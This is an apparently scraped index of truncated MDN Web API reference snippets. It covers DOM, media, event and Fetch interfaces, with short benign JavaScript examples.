web workers, though some implementations doesn't allow it yet. Properties This interface doesn't inherit any properties. is2D Read only A Boolean flag whose value is true if the matrix was initialized as a 2D matrix. If false, the matrix is 3D. isIdentity Read only A Boolean whose value is true if the matrix is the identity matrix. The identity matrix is one in which every value is 0 except those on the main diagonal from top-left to bo...
DOMParser - Web APIs
tension * 2012-09-04 * * By Eli Grey, http://eligrey.com * Public domain. * NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK. ...
DOMPoint - Web APIs
object given an existing point (or a DOMPointInit dictionary) which provides the values for its properties. Properties DOMPoint inherits properties from its parent, DOMPointReadOnly. DOMPoint.x The x coordinate of the DOMPoint. DOMPoint.y The y coordinate of the DOMPoint. DOMPoint.z The z coordinate of the DOMPoint. DOMPoint.w The perspective value of the DOMPoint. Examples In the
WebXR Device API, DOMPointReadOnly values are used to represent positions and orientations. In the following snippet, the pose of the XR device (such as a VR headset or phone with AR capabilities) can be retrieved by calling using XRFrame.getViewerPose() during an XRSession animation frame, then accessing the resulting XRPose's transform property, which contains two DOMPointReadOnly attributes: posit...
Binary strings - Web APIs
rings is calculated using two bytes as the unit. Binary strings are not part of the JavaScript language design. However at least one native function requires binary strings as its input, btoa(): invoking it on a string that contains codepoints greater than 255 will cause a Character Out Of Range error. The reason that brought to use UTF-16 code units as placeholders for uint8 numbers is that as
web applications become more and more powerful (adding features such as audio and video manipulation, access to raw data using
WebSockets, and so forth) it has become clear that there are times when it would be helpful for JavaScript code to be able to quickly and easily manipulate raw binary data. In the past, this had to be simulated by treating the raw data as a string and using the charCodeAt() ...
DOMString - Web APIs
DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String. Passing null to a method or parameter accepting a DOMString typically stringifies to "null". Specifications Specification Status Comment
Web IDLThe definition of 'DOMString' in that specification. Candidate Recommendation ...
Document() - Web APIs
The Document constructor creates a new Document object that is a
web page loaded in the browser and serving as an entry point into the page's content. Syntax new Document(); Specifications Specification Status Comment DOMThe definition of 'Document' in that specification. Living Standard Initial definition. ...
Document.createDocumentFragment() - Web APIs
t fragment is in memory and not part of the main DOM tree, appending children to it does not cause page reflow (computation of element's position and geometry). Historically, using document fragments could result in better performance. You can also use the DocumentFragment constructor to create a new fragment: let fragment = new DocumentFragment(); Example This example creates a list of major
web browsers in a DocumentFragment, then adds the new DOM subtree to the document to be displayed. HTML <ul id="ul"> </ul> JavaScript var element = document.getElementById('ul'); // assuming ul exists var fragment = document.createDocumentFragment(); var browsers = ['Firefox', 'Chrome', 'Opera', 'Safari', 'Internet Explorer']; browsers.forEach(function(browser) { var li = document.creat...
Document.documentURIObject - Web APIs
Privileged code must be careful not to try getting or setting this property on a non-wrapped content object (e.g., on a wrappedJSObject of an XPCNativeWrapper). See bug 324464's comments for details. ...
Document.domain - Web APIs
const currentDomain = document.domain; Closing a window If a document, such as www.example.xxx/good.html, has the domain of "www.example.xxx", this example attempts to close the window. const badDomain = "www.example.xxx"; if (document.domain === badDomain) { // Just an example: window.close() sometimes has no effect ...
Document.execCommand() - Web APIs
ction or insertion point. justifyFull Justifies the selection or insertion point. justifyLeft Justifies the selection or insertion point to the left. justifyRight Right-justifies the selection or the insertion point. outdent Outdents the line containing the selection or insertion point. paste Pastes the clipboard contents at the insertion point (replaces current selection). Disabled for
web content. See [1]. redo Redoes the previous undo command. removeFormat Removes all formatting from the current selection. selectAll Selects all of the content of the editable region. strikeThrough Toggles strikethrough on/off for the selection or at the insertion point. subscript Toggles subscript on/off for the selection or at the insertion point. superscript Toggles superscript on/of...
Document.getElementsByTagName() - Web APIs
gain. Syntax var elements = document.getElementsByTagName(name); elements is a live HTMLCollection (but see the note below) of found elements in the order they appear in the tree. name is a string representing the name of the elements. The special string "*" represents all elements. The latest W3C specification says elements is an HTMLCollection; however, this method returns a NodeList in
WebKit browsers. See bug 14869 for details. Example In the following example, getElementsByTagName() starts from a particular parent element and searches top-down recursively through the DOM from that parent element, building a collection of all descendant elements which match the tag name parameter. This demonstrates both document.getElementsByTagName() and the functionally identical Element.getEl...
Document.getElementsByTagNameNS() - Web APIs
either the local name of elements to look for or the special value *, which matches all elements (see element.localName). Note: While the W3C specification says elements is a NodeList, this method returns a HTMLCollection both in Gecko and Internet Explorer. Opera returns a NodeList, but with a namedItem method implemented, which makes it similar to a HTMLCollection. As of January 2012, only in
WebKit browsers is the returned value a pure NodeList. See bug 14869 for details. Note: Currently parameters in this method are case-sensitive, but they were case-insensitive in Firefox 3.5 and before. See the note in Browser compatibility section in Element.getElementsByTagNameNS for details. Example In the following example getElementsByTagNameNS starts from a particular parent element, and sear...
Document.lastModified - Web APIs
(See: Bug 4363 - document.lastModified returns date in UTC time, but should return it in local time) If you want to know whether an external page has changed, please read this paragraph about the XMLHttpRequest() API. Specifications Specification Status Comment HTML L...
Document.ononline - Web APIs
document or document.body to a JavaScript Function object. (Note: using window.ononline or window.onoffline will not work for compatibility reasons.) By specifying ononline="..." or onoffline="..." attributes on the <body> tag in the HTML markup. Example There's a simple test case that you can run to verify that the events are working. References Online and offline events [en-US] WHATWG
Web App Specification ...
Document.registerElement() - Web APIs
Warning: document.registerElement() is deprecated in favor of customElements.define(). The document.registerElement() method registers a new custom element in the browser and returns a constructor for the new element. Note: This is an experimental technology. The browser you use it in must support
Web Components. See Enabling
Web Components in Firefox. Syntax var constructor = document.registerElement(tag-name, options); Parameters tag-name The name of the custom element. The name must contain a dash (-), for example my-tag. optionsOptional An object with properties prototype to base the custom element on, and extends, an existing tag to extend. Both of these are optional. Example Here is a very simple example: var Mytag = document.registerElement('my-tag'...
Document.requestStorageAccess() - Web APIs
ng origin, the access request is automatically given an ephemeral storage access grant, which will go away when the page is reloaded. The user is never shown a prompt in this case, and calling requestStorageAccess() won't have any side effects besides changing the value returned by Document.hasStorageAccess(). Debugging The storage access grant threshold may make it more difficult to test your
website under the condition where Firefox prompts the user for access. To make testing easier, we have added two preferences in about:config that control prompting upon requestStorageAccess() calls: dom.storage_access.auto_grants can be set to false to disable the automatic granting of ephemeral storage access grants. All calls to requestStorageAccess() by origins classified as trackers will trigg...
Document: scroll event - Web APIs
The scroll event fires when the document view or an element has been scrolled. Bubbles Yes Cancelable No Interface Event Event handler property onscroll Note: In iOS UI
WebViews, scroll events are not fired while scrolling is taking place; they are only fired after the scrolling has completed. See Bootstrap issue #16202. Safari and WK
WebViews are not affected by this bug. Examples Scroll event throttling Since scroll events can fire at a high rate, the event handler shouldn't execute computationally expensive operations such as DOM modifications. Instead, it is recommended to throttle the event using requestAnimationFrame(), setTimeout(), or a CustomEvent, as follows. Note, however, that input events and animation frames are fi...
Document.timeline - Web APIs
n time. Prior to establishing the navigationStart moment, the document timeline is inactive. Note: A document timeline that is associated with a non-active document is also considered to be inactive. Syntax var pageTimeline = document.timeline; var thisMoment = pageTimeline.currentTime; Value A DocumentTimeline object. Specifications Specification Status Comment
Web AnimationsThe definition of 'document.timeline' in that specification. Working Draft Editor's draft. ...
Events and the DOM - Web APIs
lers for a DOM element. EventTarget.addEventListener // Assuming myButton is a button element myButton.addEventListener('click', greet, false) function greet(event){ // print and have a look at the event object // always print arguments in case of overlooking any other arguments console.log('greet:', arguments) alert('hello world') } This is the method you should use in modern
web pages. Note: Internet Explorer 6-8 didn't support this method, offering a similar EventTarget.attachEvent API instead. For cross-browser compatibility, use one of the many JavaScript libraries available. More details can be found on the EventTarget.addEventListener reference page. HTML attribute <button onclick="alert('Hello world!')"> The JavaScript code in the attribute is passed the Ev...
Element.classList - Web APIs
filled version of classList and the W3 specs is that for IE6-8, there is no way to create an immutable object (an object whose properties cannot be directly modified). In IE9, however, it is possible through extending the prototype, freezing the visible object, and overwritting native property methods. However, such actions would not work in IE6-IE8 and, in IE9, slow the performance of the entire
webpage to a snail's crawl, making these modifications completely impractical for this polyfill. A minor note is that in IE6-7, this polyfill uses the window[" uCL"] property on the window object for communicating with the CSS expressions, the x-uCLp css property on all elements, and the element[" uCL"] property on all elements to allow garbage collection and boost performance. In all polyfilled bro...
Element: gesturechange event - Web APIs
The gesturechange event is fired when digits move during a touch gesture. It is a proprietary event specific to
WebKit. Bubbles Unknown Cancelable Unknown Interface GestureEvent Event handler property Unknown Specifications Not part of any specification. ...
Element: gestureend event - Web APIs
The gestureend event is fired when there are no longer multiple fingers contacting the touch surface, thus ending the gesture. It is a proprietary event specific to
WebKit. Bubbles Unknown Cancelable Unknown Interface GestureEvent Event handler property Unknown Specifications Not part of any specification. ...
Element: gesturestart event - Web APIs
The gesturestart event is fired when multiple fingers contact the touch surface, thus starting a new gesture. During the gesture, gesturechange events will be fired. When the gesture has ended, a gestureend event will be fired. It is a proprietary event specific to
WebKit. Bubbles Unknown Cancelable Unknown Interface GestureEvent Event handler property Unknown Specifications Not part of any specification. ...
Element.getAttribute() - Web APIs
hose value you want to get. Examples const div1 = document.getElementById('div1'); const align = div1.getAttribute('align'); alert(align); // Shows the value of align for the element with id="div1" Description Lower casing When called on an HTML element in a DOM flagged as an HTML document, getAttribute() lower-cases its argument before proceeding. Non-existing attributes Essentially all
web browsers (Firefox, Internet Explorer, recent versions of Opera, Safari, Konqueror, and iCab, as a non-exhaustive list) return null when the specified attribute does not exist on the specified element; this is what the current DOM specification draft specifies. The old DOM 3 Core specification, on the other hand, says that the correct return value in this case is actually the empty string, and som...
Element: mousewheel event - Web APIs
e turned smoothly), the value is computed from accelerated scroll amount. In this case, the value is the same as Safari. If the device does not support continuous scroll (typically, old mouse wheel which cannot be turned smoothly), the value is computed from non-accelerated scroll amount (120 per notch). In this case, the value is different from Safari. This difference makes a serious issue for
web application developers. That is,
web developers cannot know if mousewheel event is caused by which device. See
WebInputEventFactory::mouseWheelEvent of the Chromium's source code for the detail. Safari The value is always computed from accelerated scroll amount. This is really different from other browsers except Chrome with continuous scroll supported device. Opera (Presto) The value is alw...
Element.msZoomTo() - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msZoomTo method scrolls and/or zooms an element to its specified coordinate with animation. Zoomed elements can expose their zoom level through msContentZoom (ie. scrollTop/Left). The zoom level can be reset with msZoomTo. This proprietary method is specific to Internet Explorer and Microsoft Edge. ...
Element.openOrClosedShadowRoot - Web APIs
The Element.openOrCloseShadowRoot read-only property represents the shadow root hosted by the element, regardless if its mode is open or closed. Use Element.attachShadow() to add a shadow root to an existing element. Syntax var shadowroot = element.shadowRoot; Value A ShadowRoot object instance, regardless if its mode is set to open or closed, or null if no shadow root is present. (See Element.attachShadow() for further details). ...
ElementTraversal - Web APIs
ethods that allowed access from one Node to another in the document tree. It proved useless, as very few types of Node were able to implement all its methods and properties. It has been split into two interfaces, containing the useful methods and properties for each kind of nodes: ChildNode ParentNode As it was a pure interface, with no object of this type, this change has no effect on the
Web. Specifications Specification Status Comment DOMThe definition of 'ChildNode' in that specification. Living Standard Splitted the ElementTraversal interface in ParentNode and ChildNode Element Traversal SpecificationThe definition of 'ElementTraversal' in that specification. Obsolete Initial definition ...
Event.msConvertURL() - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msConvertURL method instructs the HTML paste operation on how to modify the src attribute that corresponds to each file in the clipboardData.files collection, allowing otherwise inaccessible files to be converted to blob or data URIs. This proprietary method is specific to Internet Explorer and the Microsoft Edge browser. ...
Event.returnValue - Web APIs
prevented, the value is false. The value returned by returnValue is the opposite of the value returned by defaultPrevented. Usage notes returnValue was introduced into the DOM by Internet Explorer 6, and due to that browser's ubiquity became so commonly used that other browsers eventually implemented it as well. It has been adopted into the DOM specification, primarily to ensure that existing
web content continues to function going forward. New projects should generally avoid using returnValue, although they may if they choose to do so. Specifications Specification Status Comment DOMThe definition of 'returnValue' in that specification. Living Standard Added for legacy compatibility. ...
EventTarget.attachEvent() - Web APIs
Non-standard This feature is non-standard and is not on a standards track. Do not use it on production sites facing the
Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. See correctly-titled article. ...
FetchEvent.respondWith() - Web APIs
ker script. If a stylesheet is intercepted, then the final URL is used as the base URL for resolving relative @import loads. Note that navigation requests for Windows and iframes do NOT use the final URL. The way the HTML specification handles redirects for navigations ends up using the request URL for the resulting Window.location. This means sites can still provide an "alternate" view of a
web page when offline without changing the user-visible URL. Syntax fetchEvent.respondWith( // Promise that resolves to a Response. ); Parameters A Response or a Promise that resolves to a Response. Otherwise, a network error is returned to Fetch. Return value undefined. Exceptions Exception Notes NetworkError A network error is triggered on certain combinations ...
Fetch basic concepts - Web APIs
g resources (including across the network). It will seem familiar to anyone who has used XMLHttpRequest, but it provides a more powerful and flexible feature set. This article explains some of the basic concepts of the Fetch API. Note: This article will be added to over time. If you find a Fetch concept that you feel needs explaining better, let someone know on the MDN discussion forum, or MDN
Web Docs room on Matrix. In a nutshell At the heart of Fetch are the Interface abstractions of HTTP Requests, Responses, Headers, and Body payloads, along with a global fetch method for initiating asynchronous resource requests. Because the main components of HTTP are abstracted as JavaScript objects, it is easy for other APIs to make use of such functionality. Service Workers is an example of an...
FormData.set() - Web APIs
s a new value for an existing key inside a FormData object, or adds the key/value if it does not already exist. The difference between set() and FormData.append is that if the specified key does already exist, set() will overwrite all existing values with the new one, whereas FormData.append will append the new value onto the end of the existing set of values. Note: This method is available in
Web Workers. Syntax There are two versions of this method: a two and a three parameter version: formData.set(name, value); formData.set(name, value, filename); Parameters name The name of the field whose data is contained in value. value The field's value. This can be a USVString or Blob (including subclasses such as File). If none of these are specified the value is converted to a string.
FormData - Web APIs
ata". You can also pass it directly to the URLSearchParams constructor if you want to generate query parameters in the way a <form> would do if it were using simple GET submission. An object implementing FormData can directly be used in a for...of structure, instead of entries(): for (var p of myFormData) is equivalent to for (var p of myFormData.entries()). Note: This feature is available in
Web Workers. Constructor FormData() Creates a new FormData object. Methods FormData.append() Appends a new value onto an existing key inside a FormData object, or adds the key if it does not already exist. FormData.delete() Deletes a key/value pair from a FormData object. FormData.entries() Returns an iterator allowing to go through all key/value pairs contained in this object. FormD...
Using the Frame Timing API - Web APIs
ries[i].duration > THRESHOLD) { console.log("Warning: frame '" + THRESHOLD + "' exceeded!"); } } }); observe_frame.observe({entryTypes: ['frame']}); The tools will save you! First, perhaps using the tools will save you is a bit too strong but performance tools can certainly help identify code that is not conformant to some expected time threshold. This section briefly describes the
web performance tools for the Firefox and Chrome/Canary browsers. Firefox performance tool Firefox's performance tool allows the developer to record a piece of the user's interaction and the data obtained during the recording is used to create a profile of the browser's activity. The profile includes a waterfall of the activity such as event handling, layout, painting, scripting, etc. Firefox's pe...
Gamepad - Web APIs
tring indicating whether the browser has remapped the controls on the device to a known layout. Gamepad.timestamp Read only A DOMHighResTimeStamp representing the last time the data for this gamepad was updated. Experimental extensions to Gamepad The following interfaces are defined in the Gamepad Extensions specification, and provide access to experimental features like haptic feedback and
WebVR controller pose information. Gamepad.hand Read only An enum defining what hand the controller is being held in, or is most likely to be held in. Gamepad.hapticActuators Read only An array containing GamepadHapticActuator objects, each of which represents haptic feedback hardware available on the controller. Example window.addEventListener("gamepadconnected", function(e) { console.l...
Geolocation API - Web APIs
The Geolocation API allows the user to provide their location to
web applications if they so desire. For privacy reasons, the user is asked for permission to report location information.
WebExtensions that wish to use the Geolocation object must add the "geolocation" permission to their manifest. The user's operating system will prompt the user to allow location access the first time it is requested. Concepts and usage You will often want to retrieve a user's location information in your
web app, for example to plot their location on a map, or display personalized information relevant to their location. The Geolocation API is accessed via a call to navigator.geolocation; this will cause the user's browser to ask them for permission to access their location data. If they accept,...
GlobalEventHandlers.ondragexit - Web APIs
Syntax var dragexitHandler = targetElement.ondragexit; Return value dragexitHandler The dragexit event handler for element targetElement. Example This example demonstrates using the ondragexit attribute handler to set an element's dragexit event handler. ...
GlobalEventHandlers.onmouseout - Web APIs
Syntax element.onmouseout = function; Example This example adds an onmouseout and an onmouseover event to a paragraph. Try moving your mouse over and out of the element. ...
GlobalEventHandlers.onpointerdown - Web APIs
p me, click me, or touch me! </div> CSS The CSS simply sets up the appearance of the target, and doesn't affect its functionality at all. #target { width: 400px; height: 30px; text-align: center; font: 16px "Open Sans", "Helvetica", sans-serif; color: white; background-color: blue; border: 2px solid darkblue; cursor: pointer; user-select: none; -moz-user-select: none; -
webkit-user-select: none; -ms-user-select: none; } Result The resulting output is shown below. Try tapping, clicking, or touching the box and see what happens. For full effect, try it with a variety of pointer types. Specifications Specification Status Comment Pointer Events - Level 2The definition of 'onpointerdown' in that specification. Recommendation Non...
GlobalEventHandlers.onscroll - Web APIs
Note: Don't confuse onscroll with onwheel! onwheel handles general wheel rotation, while onscroll handles scrolling of an object's content. Syntax target.onscroll = functionRef Value functionRef A function name, or a function expression. The function receives a UIEvent object as its sole argument. ...
GlobalEventHandlers.onselectionchange - Web APIs
Syntax object.onselectionchange = functionRef; Value functionRef is a function name or a function expression. The function receives a FocusEvent object as its sole argument. Example let selection; document.onselectionchange = function() { console.log('New selection made'); selection = document.getSelection(); }; For a full example, see our Key quote generator demo. ...
GlobalEventHandlers.onselectstart - Web APIs
Syntax object.onselectstart = functionRef; Value functionRef is a function name or a function expression. The function receives a FocusEvent object as its sole argument. Example document.onselectstart = function() { console.log('Selection started!'); }; For a full example, see our Key quote generator demo. ...
msAudioCategory - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msAudioCategory property of the HTML <audio> element, is a read/write proprietary attribute, specific to Internet Explorer and Microsoft Edge. msAudioCategory specifies the purpose of the audio or video media, such as background audio or alerts. ...
msAudioDeviceType - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msAudioDeviceType property of the HTML <audio> element, is a read/write proprietary attribute, specific to Internet Explorer and Microsoft Edge. msAudioDeviceType specifies the output device id that the audio will be sent to. ...
HTMLCanvasElement.toDataURL() - Web APIs
e in the format specified by the type parameter (defaults to PNG). The returned image is in a resolution of 96 dpi. If the height or width of the canvas is 0 or larger than the maximum canvas size, the string "data:," is returned. If the requested type is not image/png, but the returned value starts with data:image/png, then the requested type is not supported. Chrome also supports the image/
webp type. Syntax canvas.toDataURL(type, encoderOptions); Parameters type Optional A DOMString indicating the image format. The default format type is image/png. encoderOptions Optional A Number between 0 and 1 indicating the image quality to use for image formats that use lossy compression such as image/jpeg and image/
webp. If this argument is anything else, the default value for image q...
HTMLCanvasElement.transferControlToOffscreen() - Web APIs
asElement.transferControlToOffscreen() method transfers control to an OffscreenCanvas object, either on the main thread or on a worker. Syntax OffscreenCanvas HTMLCanvasElement.transferControlToOffscreen() Return value An OffscreenCanvas object. Examples var htmlCanvas = document.createElement('canvas'); var offscreen = htmlCanvas.transferControlToOffscreen(); var gl = offscreen.getContext('
webgl'); // ... some drawing using the gl context ... // Push frames back to the original HTMLCanvasElement gl.commit(); Specifications Specification Status Comment HTML Living StandardThe definition of 'HTMLCanvasElement.transferControlToOffscreen()' in that specification. Living Standard ...
HTMLHyperlinkElementUtils.origin - Web APIs
s, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified); for URL using file: scheme, the value is browser dependant; for URL using the blob: scheme, the origin of the URL following blob:. E.g "blob:https://mozilla.org" will have "https://mozilla.org". Note: This feature is available in
Web Workers. Syntax string = object.origin; Examples // On this page, returns the origin var result = window.location.origin; // Returns:'https://developer.mozilla.org' Specifications Specification Status Comment HTML Living StandardThe definition of 'HTMLHyperlinkElementUtils.origin' in that specification. Living Standard Initial definition. ...
HTMLInputElement.mozGetFileNameArray() - Web APIs
The HTMLInputElement.mozGetFileNameArray() method returns an array of the names of the files that were selected by the user on an HTML input element. Note: This method is Gecko-specific and is not available in other browsers. Also, it throws an error if used in
Web pages. Syntax inputElement.mozGetFileNameArray(aLength, aFileNames); Parameters aLength If specified, will receive the number of file names in the returned array. aFileNames Is an array into which the file names are placed. Example var numFiles = 0; var fileArray = {}; inputElement.mozGetFileNameArray(numFiles, fileArray); ...
HTMLInputElement.mozSetFileNameArray() - Web APIs
The HTMLInputElement.mozSetFileNameArray() method sets the names of the files that selected on an HTML input element. Note: This method is Gecko-specific and is not available in other browsers. Also, it throws an error if used in
Web pages. Syntax inputElement.mozSetFileNameArray(aFileNames, aLength); Parameters aFileNames Is the array of file names to apply to the element. aLength Is the number of file names in the array. Example var fileArray = {"/foo/bar.txt", "/foo/foosball.txt"}; inputElement.mozSetFileNameArray(fileArray, fileArray.length); ...
HTMLMediaElement.autoplay - Web APIs
fer autoplay functionality, you should make it opt-in (requiring a user to specifically enable it). However, autoplay can be useful when creating media elements whose source will be set at a later time, under user control. For a much more in-depth look at autoplay, autoplay blocking, and how to respond whena autoplay is blocked by the user's browser, see our article Autoplay guide for media and
Web Audio APIs. Syntax HTMLMediaElement.autoplay = true | false; var autoplay = HTMLMediaElement.autoplay; Value A Boolean whose value is true if the media element will begin playback as soon as enough content has loaded to allow it to do so without interruption. Note: Some browsers offer users the ability to override autoplay in order to prevent disruptive audio or video from playing without ...
HTMLMediaElement.buffered - Web APIs
Syntax var timeRange = audioObject.buffered Value A TimeRanges object. This object is normalized, which means that ranges are ordered, don't overlap, aren't empty, and don't touch (adjacent ranges are folded into one bigger range). ...
HTMLMediaElement.canPlayType() - Web APIs
Syntax canPlayResponse = audioOrVideo.canPlayType(mediaType); Parameters mediaType A DOMString containing the MIME type of the media. Return value A DOMString indicating how likely it is that the media can be played. The string will be one of the following values: probably Media of the type indicated by the mediaType parameter is probably playable on this device. ...
HTMLMediaElement.currentSrc - Web APIs
The value is an empty string if the networkState property is EMPTY. Syntax var mediaUrl = audioObject.currentSrc; Value A DOMString object containing the absolute URL of the chosen media source; this may be an empty string if networkState is EMPTY; otherwise, it will be one of the resources listed by the HTMLSourceElement contained within the media element, or the value or src if no <source> element is provided. ...
HTMLMediaElement: ended event - Web APIs
(<audio> and <video>) fire ended when playback of the media reaches the end of the media. Bubbles No Cancelable No Interface Event Target Element Default Action None Event handler property GlobalEventHandlers.onended Specification HTML5 media This event is also defined in Media Capture and Streams and
Web Audio API Examples These examples add an event listener for the HTMLMediaElement's ended event, then post a message when that event handler has reacted to the event firing. Using addEventListener(): const video = document.querySelector('video'); video.addEventListener('ended', (event) => { console.log('Video stopped either because 1) it was over, ' + 'or 2) no further data is availa...
msClearEffects - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msClearEffects method of the HTMLMediaElement, is a proprietary method specific to Internet Explorer and Microsoft Edge. msClearEffects clears all effects from the media pipeline. ...
MIDIOutputMap - Web APIs
The MIDIOutputMap read-only interface of the
Web MIDI API provides a Map-like interface to the currently available MIDI output ports. Although it works like a map, because it is read-only, it does not contain clear(), delete(), or set() functions. Specifications Specification Status Comment
Web MIDI API Working Draft Initial definition. ...
MSGraphicsTrust - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msGraphicsTrust() constructor returns an object that provides properties for info on protected video playback. This proprietary method is specific to Internet Explorer and Microsoft Edge. ...
MSManipulationEvent.initMSManipulationEvent() - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The initMSManipulationEvent method is used to create a MSManipulationEvent that can be called from JavaScript. This proprietary method is specific to Internet Explorer. Beginning with the Microsoft Edge browser, the initEvent() constructor pattern for synthetic events is deprecated. ...
MSManipulationEvent - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. MSManipulationEvent provides contextual information when contact is made to the screen and an element is manipulated. This proprietary method is specific to Internet Explorer. Events MSManipulationStateChanged: Event fires when the state of an element being manipulated has changed. ...
MSSiteModeEvent - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. MSSiteModeEvent provides event properties that are specific to pinned site events. This proprietary method is specific to Internet Explorer and Microsoft Edge. ...
MediaCapabilities.encodingInfo() - Web APIs
ther because the type is not video or audio, the contentType is not a valid codec MIME type, or any other error in the media configuration passed to the method, including omitting any of the media encoding configuration elements. Example //Create media configuration to be tested const mediaConfig = { type : 'record', // or 'transmission' video : { contentType : "video/
webm;codecs=vp8.0", // valid content type width : 1920, // width of the video height : 1080, // height of the video bitrate : 120000, // number of bits used to encode 1s of video framerate : 48 // number of frames making up that 1s. } }; // check support and performance navigator.mediaCapabilities.encodingInfo(mediaConfig).then(result => { console.lo...
MediaConfiguration - Web APIs
IME type. width: Width of the video. height: Height of the video. bitrate: Number of bits used to encode one second of the video file. framerate: Number of frames making up one second of video playback. Example //Create a video configuration to be tested const videoDecoderConfig = { type : 'file', // 'record', 'transmission', or 'media-source' video : { contentType : "video/
webm;codecs=vp8", // valid content type width : 800, // width of the video height : 600, // height of the video bitrate : 10000, // number of bits used to encode 1s of video framerate : 30 // number of frames making up that 1s. } }; const audioEncoderConfig = { type : 'file', // 'record', 'transmission', or 'media-source' audio : { contentType : "audio/ogg", // val...
MediaDecodingConfiguration - Web APIs
on that is meant to be used for a plain file playback. media-source: Represents a configuration that is meant to be used for playback of a MediaSource. A media configuration -- a VideoConfiguration or AudioConfiguration dictionary. Examples //Create media configuration to be tested const mediaConfig = { type : 'file', // or 'media-source' video : { contentType : "video/
webm;codecs=vp8", // valid content type width : 800, // width of the video height : 600, // height of the video bitrate : 10000, // number of bits used to encode 1s of video framerate : 30 // number of frames making up that 1s. } }; // check support and performance navigator.mediaCapabilities.decodingInfo(mediaConfig).then(result => { console.log('Th...
MediaDeviceInfo.label - Web APIs
Only available during active MediaStream use, or when persistent permissions have been granted. Syntax var label = MediaDeviceInfo.label; Value A DOMString which describes the media device. For security reasons, the label is always an empty string ("") if the user has not obtained permission to use at least one media device, either by starting a stream from the microphone or camera, or by persistent permissions being granted. ...
MediaDeviceInfo - Web APIs
. Two devices have the same group identifier if they belong to the same physical device -- for example a monitor with both a built-in camera and a microphone. MediaDeviceInfo.kindRead only Returns an enumerated value that is either "videoinput", "audioinput" or "audiooutput". MediaDeviceInfo.labelRead only Returns a DOMString that is a label describing this device (for example "External USB
Webcam"). For security reasons, the label field is always blank unless an active media stream exists or the user has granted persistent permission for media device access. The set of device labels could otherwise be used as part of a fingerprinting mechanism to identify a user. Methods None. Example Here's an example that uses enumerateDevices() to get a list of devices. if (!navigator.media...
MediaElementAudioSourceNode() - Web APIs
ment that will be used as the source for the audio. Return value A new MediaElementAudioSourceNode object instance. Example var ac = new AudioContext(); var mediaElement = document.createElement('audio'); var options = { mediaElement : mediaElement } var myAudioSource = new MediaElementAudioSourceNode(ac, options); Specifications Specification Status Comment
Web Audio APIThe definition of 'MediaElementAudioSourceNode' in that specification. Working Draft ...
MediaElementAudioSourceNode.mediaElement - Web APIs
ment representing the element which contains the source of audio for the node. Examples const audioCtx = new window.AudioContext(); const audioElem = document.querySelector('audio'); let options = { mediaElement: audioElem } let source = new MediaElementAudioSourceNode(audioCtx, options); console.log(source.mediaElement); Specifications Specification Status Comment
Web Audio APIThe definition of 'MediaElementAudioSourceNode.mediaElement' in that specification. Working Draft ...
MediaEncodingConfiguration - Web APIs
edia, e.g. using MediaRecorder. transmission -- Represents a configuration meant to be transmitted over electronic means (e.g. using RTCPeerConnection). A media configuration -- a VideoConfiguration AudioConfiguration dictionary. Examples //Create media configuration to be tested const mediaConfig = { type : 'record', // or 'transmission' video : { contentType : "video/
webm;codecs=vp8", // valid content type width : 800, // width of the video height : 600, // height of the video bitrate : 10000, // number of bits used to encode 1s of video framerate : 30 // number of frames making up that 1s. } }; // check support and performance navigator.mediaCapabilities.encodingInfo(mediaConfig).then(result => { console.log('Th...
msExtendedCode - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. In the event of an error, the media element's error event will be fired. The element's error property will then contain an msExtendedCode read-only property with platform-specific error code information. msExtendedCode is a read-only proprietary property specific to Internet Explorer and Microsoft Edge. Value Type: long; The platform specific error code. ...
MediaSession.setActionHandler() - Web APIs
Syntax navigator.mediaSession.setActionHandler(type, callback) Parameters type A DOMString representing an action type to listen for. It will be one of play, pause, seekbackward, seekforward, seekto, skipad,previoustrack, or nexttrack. Further details on the action types can be found below under Media session actions. ...
MediaSession - Web APIs
For example, a smartphone might have a standard panel in its lock screen that provides controls for media. A browser on that device might deliver the metadata provided by calling MediaSession to the device in order to be controllable using the global user interface. Properties metadata Returns an instance of MediaMetadata which contains rich media metadata, for display in a platform UI. ...
MediaSessionActionDetails.fastSeek - Web APIs
d true, indicates that the requested seekto operation is part of an ongoing series of seekto operations. Your handler should take steps to return as quickly as possible by skipping any steps of its operation which are only necessary when the seek operation is complete. Once fastSeek is false or not present, the repeating series of seekto actions is complete and you can finalize the state of your
web app or content. Syntax let mediaSessionActionDetails = { fastSeek: shouldFastSeek }; let shouldFastSeek = mediaSessionActionDetails.fastSeek; Value A Boolean which is true if the action is part of an ongoing series of seek actions which should be treated as part of an overall seek operation. If the value is false or this property isn't present, the seek is final. Specifications S...
MediaSource.isTypeSupported() - Web APIs
ovide added details about the codecs used within the file. Return value A Boolean which is true if the browser feels that it can probably play media of the specified type. This is not a guarantee, however, and your code must be prepared for the possibility that the media will not play correctly if at all. A value of false is a guarantee that media of the given type will not play, however. All
web APIs that work with media files use a "no/maybe/probably" approach (or, in this case, "no or probably") when determining if a media type can be used. This is because media files are complex, intricate constructs with far too many subtle variations to be absolutely certain of anything until you actually use the contents of the media. Example The following snippet is from an example written by Ni...
MediaStream.getAudioTracks() - Web APIs
te: The order of the returned tracks is not defined by the specification and may, in fact, change from one call to getAudioTracks() to the next. Early versions of this API included a special AudioStreamTrack interface which was used as the type for each entry in the list of audio streams; however, this has since been merged into the main MediaStreamTrack interface. Example This example gets a
webcam's audio and video in a stream using getUserMedia(), attaches the stream to a <video> element, then sets a timer that, upon expiring, will stop the first audio track found on the stream. navigator.mediaDevices.getUserMedia({audio: true, video: true}) .then(mediaStream => { document.querySelector('video').srcObject = mediaStream; // Stop the audio stream after 5 seconds setTimeout(() => {...
MediaStreamAudioDestinationNode.stream - Web APIs
